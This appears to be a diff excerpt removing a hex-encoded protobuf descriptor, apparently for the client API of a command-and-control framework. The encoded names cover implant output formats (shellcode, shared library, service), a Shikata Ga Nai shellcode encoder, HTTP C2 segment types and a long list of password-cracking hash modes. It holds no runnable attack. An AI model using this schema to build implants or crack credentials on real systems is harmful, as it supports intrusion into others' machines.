- 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46,
- 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73,
- 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75,
- 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02,
- 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49,
- 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69,
- 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52,
- 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c,
- 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x51, 0x0a, 0x13, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f,
- 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x3a, 0x0a,
- 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b,
- 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69,
- 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x52, 0x09,
- 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x22, 0x72, 0x0a, 0x12, 0x4d, 0x6f, 0x6e,
- 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12,
- 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12,
- 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54,
- 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x41,
- 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x5a, 0x0a,
- 0x0a, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x49,
- 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54,
- 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12,
- 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e,
- 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01,
- 0x28, 0x04, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74,
- 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41,
- 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45,
- 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43,
- 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56,
- 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50,
- 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50,
- 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00,
- 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54,
- 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70,
- 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a,
- 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45,
- 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64,
- 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45,
- 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41,
- 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x35, 0x0a, 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32,
- 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x08, 0x0a, 0x04, 0x50,
- 0x4f, 0x4c, 0x4c, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e,
- 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x02, 0x2a, 0x98, 0x13,
- 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44,
- 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a,
- 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f,
- 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32,
- 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38,
- 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32,
- 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10,
- 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10,
- 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10,
- 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10,
- 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36,
- 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f,
- 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52,
- 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10,
- 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f,
- 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14,
- 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39,
- 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12,
- 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10,
- 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01,
- 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88,
- 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34,
- 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35,
- 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50,
- 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53,
- 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31,
- 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54,
- 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32,
- 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a,
- 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10,
- 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46,
- 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45,
- 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2,
- 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32,
- 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d,
- 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b,
- 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a,
- 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c,
- 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54,
- 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52,
- 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43,
- 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e,
- 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f,
- 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52,
- 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55,
- 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f,
- 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d,
- 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10,
- 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45,
- 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35,
- 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41,
- 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49,
- 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54,
- 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53,
- 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b,
- 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12,
- 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53,
- 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32,
- 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12,
- 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53,
- 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59,
- 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10,
- 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55,
- 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45,
- 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35,
- 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10,
- 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d,
- 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a,
- 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44,
- 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3,
- 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41,
- 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a,
- 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48,
- 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17,
- 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41,
- 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53,
- 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33,
- 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e,
- 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31,
- 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41,
- 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13,
- 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d,
- 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44,
- 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0,
- 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d,
- 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a,
- 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46,
- 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b,
- 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50,
- 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48,
- 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44,
- 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12,
- 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12,
- 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54,
- 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45,
- 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54,
- 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f,
- 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b,
- 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52,
- 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52,
- 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b,
- 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38,
- 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45,
- 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52,
- 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42,
- 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10,
- 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32,
- 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b,
- 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14,
- 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54,
- 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d,
- 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54,
- 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05,
- 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43,
- 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41,
- 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44,
- 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41,
- 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41,
- 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53,
- 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8,
- 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01,
- 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c,
- 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32,
- 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31,
- 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12,
- 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f,
